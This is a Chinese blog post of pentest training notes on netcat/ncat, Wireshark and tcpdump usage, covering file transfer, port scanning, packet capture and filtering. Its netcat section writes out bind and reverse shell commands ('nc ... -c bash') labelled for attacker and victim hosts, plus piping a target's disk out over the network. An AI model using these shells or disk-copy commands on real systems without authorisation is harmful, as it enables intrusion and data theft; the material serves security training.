安全牛-工具

常用用工工具
经常使用用且功能强大大
安全从业者必不可少的帮手手
Nc / ncat
Wireshark
Tcpdump

NETCAT ——NC
网络工具中的瑞士军刀——小身身材、大大智慧
侦听模式 / 传输模式
telnet / 获取banner信息
传输文本信息
传输文件/目录
加密传输文件
远程控制/木⻢
加密所有流量
流媒体服务器
远程克隆硬盘

NC——TELNET / BANNER(作为客户端)
nc –nv 1.1.1.1 110
nc –nv 1.1.1.1 25
nc –nv 1.1.1.1 80
举例
1.连接邮件服务器端口
nc -vn 123.125.50.134 110
2.连接http
nc –nv ip 80

NC——传输文本信息
A:   nc -l -p 4444(服务端开启端口)
      netstat -pantu | grep 4444
B:   nc –nv ip 4444(客户端连接)

NC——远程电子取证信息收集
a:   nc -l -p 4444
b:   ls -l | nc -nv ip 4444

a:  nc -l -p 4444 > ps.txt
b:  ps aux | nc -nv ip 4444 -q 1(q执行完成之后延迟1s自动退出)

NC——传输文件/目录
1.传输文文件(注意文件的帧听端口与文件的传输方向)
A:nc -lp 333 > 1.mp4   (接受端口)
B:nc -nv ip  333 < 1.mp4 –q 1  (输入端口)

A:nc -q 1 -lp 333 < a.mp4  (发送端口)
B: nc -nv 1.1.1.1 333 > 2.mp4  (输入端口)
2.传输目录
A:tar -cvf - music/ | nc -lp 333 –q 1 (压缩发送)
B:nc -nv ip 333 | tar -xvf – (接受解压)
3.加密传文文件
前提安装mcrypt
A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4  (接受端口)
B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1  (输入端口)
输入两次密码

NC——流媒体服务
前提安装mplayer
A: cat 1.mp4 | nc -lp 333 (服务器端)
B: nc -nv ip 333 | mplayer -vo x11 -cache 3000 - (客户端)

NC——端口口扫描
1.nc使用tcp进行探测
nc -nvz ip 1-65535
2.nc使用udp进行探测
nc –vnzu 1.1.1.1 1-1024

NC——远程克隆硬盘
A: nc -lp 333 | dd of=/dev/sda  (接受端口)
B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1 (输入端口)
远程电子取证,可以将目标服务器硬盘远程复制,或者内存。

NC——远程控制
1.正向:
使用情景-b帮助a远程解决问题
A:nc -lp 333 -c bash (服务器端进行帧听,等待连接,服务端把bash传递给客户端)
B:nc -nv ip 333   (客户端进行连接,命令在这里ls,pwd)
2.反向:
使用情景-服务器只开启了80端口,外部只能访问80,思路通过外网分享端口,让内网链接
A:nc -lp 333       (攻击端.服务器端进行帧听端口,等待连接,命令在这里ls,pwd)
B:nc -nv ip  333 -c bash (被攻击端,客户端进行连接,客户端把bash传递给服务端)
注:Windows用户把bash改成cmd; 

NC——NCAT
1.Nc缺乏加密和身身份验证的能力力
2.Ncat包含于nmap工具包中
A:ncat ncat -c bash --allow b的ip  -vnl 333 --ssl (被控制)
B:ncat -nv a的ip 333 --ssl (控制端)

不同系统/平台的nc参数功能不尽相同

WIRESHARK
抓包嗅探协议分析
安全专家必备的技能
抓包引擎
  Libpcap9—— Linux
  Winpcap10—— Windows
解码能力力

WIRESHARK——基本使用用方方法
启动
选择抓包网卡
混杂模式
实时抓包
保存和分析捕获文文件
首选项

WIRESHARK——筛选器
过滤掉干扰的数据包
抓包筛选器
显示示筛选器

WIRESHARK——常⻅见协议包
数据包的分层结构
Arp
Icmp
Tcp——三次握手手
Udp
Dns
http
ftp

1.arp
第一层:统计包的相关信息,多少帧,大小,传输的时间
第二层:数据包的内容字段(以太网),首先是目标地址,源地址,二层以上是什么协议(三层的),占位字段
第三层:硬件地址类型(1 表示以太网地址),协议类型(ip解析成arp地址),硬件地址长度, ip地址4字节32位 ,操作代码,arp包头内容包含发送端的mac和ip(目标端的mac和ip协议类型长度,请求,发送端的mac,发送端的ip,目标的mac,目标的ip)
2.Icmp
第一层:统计信息,多少帧,大小,传输的时间
第二层:二层以上是什么协议(三层的)
第三层:ip包头,版本,头长度,生存时间,三层以上是什么协议(四层的),源地址.目的地址,
ttl win 128
    linux 64
    unix 255
tcp-6
udp-17
icmp-1
igmp-2
所以四层并不是只有tcp,udp
第四层:种类很多
3.tcp三次握手
发送端syn->接受端syn,ack->发送端ack->push
4.dns    
第五层:记录,响应包
5.http
第五层:get包 响应包
6.ftp


例:ssdp
第一层汇总信息
第二层二层包头 目标地址,源地址   上一层协议是ip协议  
第三层。ip版本号  头长度  dsf  total长度(ip头到数据字段)   identification:0*7b52(31570)=大文件传输时会分割成小块,这是标记号段接收端
根据号顺序重组    ragment offset:0 =偏移量    time to live:1 =生存时间  protocol:UDP (17)=上层四层协议(共1-255种协议)
header chechsum:0*8cf3[correct]=ip头的校验值,数据包被修改后校验值为错误的
第四层 user Datagram protocol,src port:56253(56253),Dst port:ssdp(1900)  =源端口目标端口
tcp包三次会话以syn标号1为开始连接。目标返回ack值并发syn值。 我再次发送ack值确认。然后开始发送信息,每发送包都要确认
dns三层都走ip四层是基于udp协议
http三层ip四层tcp  repuest method:get=请求方法get  request url:http://dict.cn/ws.php=请求地址    request version:http:/1.1=请求版本1.1
user-agent:mozilla/4.0(compatible:msie 5.00;windows 98)\r\n=客户端信息

注意
wireshark通过端口区分协议  http如果以非80端口传输则认不出,不能解析。数据包右键-Decode As-Transport-选择http并应用就可以了

WIRESHARK——TCP
数据流
 http
 Smtp
 Pop3
 Ssl
http smtp pop3 大部分以明文传送容易被查看    ssl四层同样基于tcp应用变成了ssl

WIRESHARK——信息统计
节点数
协议分布
包大大小小分布
会话连接
解码方方式
专家系统
抓包对比比nc、ncat加密与不加密的流量

summary数据包的摘要信息
endpoints查看数据包列表里一共有多少ip地址通信  ethernet 2 二层包头  可以排序可看哪个ip大量发送接收包大量小包可以造成网络性能弱化
protocol hierarchy查看什么类型的协议包占比
packet lengths  按包的长度查看流量
conversations 查看通讯 的机器之间流量
解码类型-按端口区分协议
Analyze菜单下expert info专家信息可以给出当前网络出现的信息

WIRESHARK——实践
抓包对比比nc、ncat加密与不加密的流量

强制更新为仅主机
dhclient eth0

a:nc -lp 333 -c bash
b:nc -nv ip 333  输入ls pwd
b:启动wireshark-追踪tcp流-查看明文

a:ncat -nvl 333 -c bash --ssl
b:ncat -nv ip 333  --ssl  输入ls pwd
b:重新启动-追踪tcp流-查看密文

wireshark缺点
对大流量数据分析有所欠缺,大文件包打开速度慢,效率比较低


企业抓包方案
基于sniffer与wireshark二次开发出来的,打开包的速度快,效率高,性能有所提升
cace/riverbed---基于wireshark开发
cascad pilot

TCPDUMP
在没有图形化界面的情况下,可以使用tcpdump
No-GUI的抓包分析工工具
Linux、Unix系统默认安装

TCPDUMP——抓包筛选
1.抓包
  默认只抓68个字节
  tcpdump -i eth0 -s 0 -w file.pcap
  tcpdump -i eth0 port 22
2.读取抓包文文件
  Tcpdump -r file.pcap
3.基础用法
 tcpdump -h 选项介绍
 -A 以ASCII格式打印出所有分组,并将链路层的头最小化。
 -c 在收到指定的数量的分组后,tcpdump就会停止。
 -C 在将一个原始分组写入文件之前,检查文件当前的大小是否超过了参数file_size 中指定的大小。如果超过了指定大小,则关闭当前文件,然后在打开一个新的文件。参数 file_size 的单位是兆字节(是1,000,000字节,而不是1,048,576字节)。
 -d 将匹配信息包的代码以人们能够理解的汇编格式给出。
 -dd 将匹配信息包的代码以c语言程序段的格式给出。
 -ddd 将匹配信息包的代码以十进制的形式给出。
 -D 打印出系统中所有可以用tcpdump截包的网络接口。
 -e 在输出行打印出数据链路层的头部信息。
 -E 用spi@ipaddr algo:secret解密那些以addr作为地址,并且包含了安全参数索引值spi的IPsec ESP分组。
 -f 将外部的Internet地址以数字的形式打印出来。
 -F 从指定的文件中读取表达式,忽略命令行中给出的表达式。
 -i 指定监听的网络接口。
 -l 使标准输出变为缓冲行形式,可以把数据导出到文件。
 -L 列出网络接口的已知数据链路。
 -m 从文件module中导入SMI MIB模块定义。该参数可以被使用多次,以导入多个MIB模块。
 -M 如果tcp报文中存在TCP-MD5选项,则需要用secret作为共享的验证码用于验证TCP-MD5选选项摘要(详情可参考RFC 2385)。
 -b 在数据-链路层上选择协议,包括ip、arp、rarp、ipx都是这一层的。
 -n 不把网络地址转换成名字。
 -nn 不进行端口名称的转换。
 -N 不输出主机名中的域名部分。例如,‘nic.ddn.mil‘只输出’nic‘。
 -t 在输出的每一行不打印时间戳。
 -O 不运行分组分组匹配(packet-matching)代码优化程序。
 -P 不将网络接口设置成混杂模式。
 -q 快速输出。只输出较少的协议信息。
 -r 从指定的文件中读取包(这些包一般通过-w选项产生)。
 -S 将tcp的序列号以绝对值形式输出,而不是相对值。
 -s 从每个分组中读取最开始的snaplen个字节,而不是默认的68个字节。
 -T 将监听到的包直接解释为指定的类型的报文,常见的类型有rpc远程过程调用)和snmp(简单网络管理协议;)。
 -t 不在每一行中输出时间戳。
 -tt 在每一行中输出非格式化的时间戳。
 -ttt 输出本行和前面一行之间的时间差。
 -tttt 在每一行中输出由date处理的默认格式的时间戳。
 -u 输出未解码的NFS句柄。
 -v 输出一个稍微详细的信息,例如在ip包中可以包括ttl和服务类型的信息。
 -vv 输出详细的报文信息。
 -w 直接将分组写入文件中,而不是不分析并打印出来。

 (1)tcpdump -i wlan0 -s 0 -w a.cap 抓取数据
 -i 指定网卡
-s 抓取大小
-w 保存位置
ping ip 
(2)tcpdump -r a.cap 读取数据
(3)tcpdump -A -r a.cap 查看详细内容,以assic码形式显示出来
(4)tcpdump -X -r a.cap 查看详细内容,以16进制形式显示出来
(5)tcpdump -i eth0 port 22

TCPDUMP——显示筛选
tcpdump -n -r http.cap | awk '{print $3}'| sort -u
tcpdump -n src host 145.254.160.237 -r http.cap(源ip)
tcpdump -n dst host 145.254.160.237 -r http.cap(目的)
tcpdump -n port 53 -r http.cap(端口)
tcpdump -n tcp port 53 -r http.cap(端口)
tcpdump -n udp port 53 -r http.cap(端口)
tcpdump -nX port 80 -r http.cap(左16进制,右边accis)

TCPDUMP——高级筛选
Source Port          源端口
Destination Port     目标端口
Sequence Number   序号   
Acknowledgment Nuber   应答号   
Date Offset         数据偏移量    
Res 标签位(cwr- ece- urg- ack- psh- rst- svn- fin-结束包)
例子:
tcpdump -A -n 'tcp[13] = 24' -r http.cap

过程文档记录
1.Dradis-基于网页(未成功)
  短期临时小团队资源共享
  各种插件导入文件
2.keepnote
精简的笔记本软件,特点如下:
富文本格式:彩色字体、内置图片、超链接,能保存网页图片文字等完整内容。
树形分层组织内容,分门别类,一目了然。
全文搜索
综合截图
文件附件
集成的备份和恢复
拼写检查(通过gtkspell)
自动保存
内置的备份和恢复(zip文件存档)
3.Truecrypt-加密工具(未成功)
一款免费开源的加密软件,同时支持Windows Vista,7/XP, Mac OS X, Linux 等操作系统。TrueCrypt不需要生成任何文件即可在硬盘上建立虚拟磁盘,用户可以按照盘符进行访问,所有虚拟磁盘上的文件都被自动加密,需要通过密码来进行访问。TrueCrypt 提供多种加密算法,包括:AES-256, Blowfish (448-bit key), CAST5, Serpent, Triple DES, and Twofish,其他特性还有支持FAT32和NTFS分区、隐藏卷标、热键启动等。

posted on 2019-03-23 12:33  流着眼泪奔跑  阅读(485)  评论(0编辑  收藏  举报

导航